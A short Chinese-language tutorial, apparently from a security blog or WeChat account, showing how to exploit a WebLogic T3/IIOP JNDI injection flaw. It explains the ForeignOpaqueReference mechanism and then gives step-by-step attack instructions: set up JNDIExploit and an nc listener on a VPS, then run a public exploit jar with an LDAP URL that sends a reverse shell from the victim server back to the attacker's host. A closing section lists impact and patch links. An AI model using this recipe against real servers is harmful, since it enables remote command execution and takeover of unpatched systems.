声明: 该公众号大部分文章来自作者学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者无关。 |
攻击原理
由于Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看,当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象getReferent方法。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。
1.1 工具准备
(1)Weblogic-CVE-2023-21839
(2)JNDIExploit
(3)公网vps一台作为LDAP服务器
1.2 公网vps
(1)将JNDIExploit传到vps上。
下载地址
https://github.com/WhiteHSBG/JNDIExploit
(2)运行JNDI注入工具
(3)使用nc开启监听端口
1.3 在本地执行命令进行攻击
(1)下载Weblogic-CVE-2023-21839
下载地址:
https://github.com/DXask88MA/Weblogic-CVE-2023-21839?tab=readme-ov-file
(2)运行Weblogic-CVE-2023-21839
java -jar Weblogic-CVE-2023-21839 受害服务器IP 端口
ldap://vps服务器ip:1389/Basic/ReverseShell/vps服务器ip/6666
1.4 漏洞存在
shell弹回VPS服务器
漏洞危害
攻击者利用该漏洞可以访问敏感数据。
修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://www.oracle.com/security-alerts/cpujan2024.html
https://github.com/dinosn/CVE-2024-20931
https://glassyamadeus.github.io/2024/01/31/CVE_2024_20931/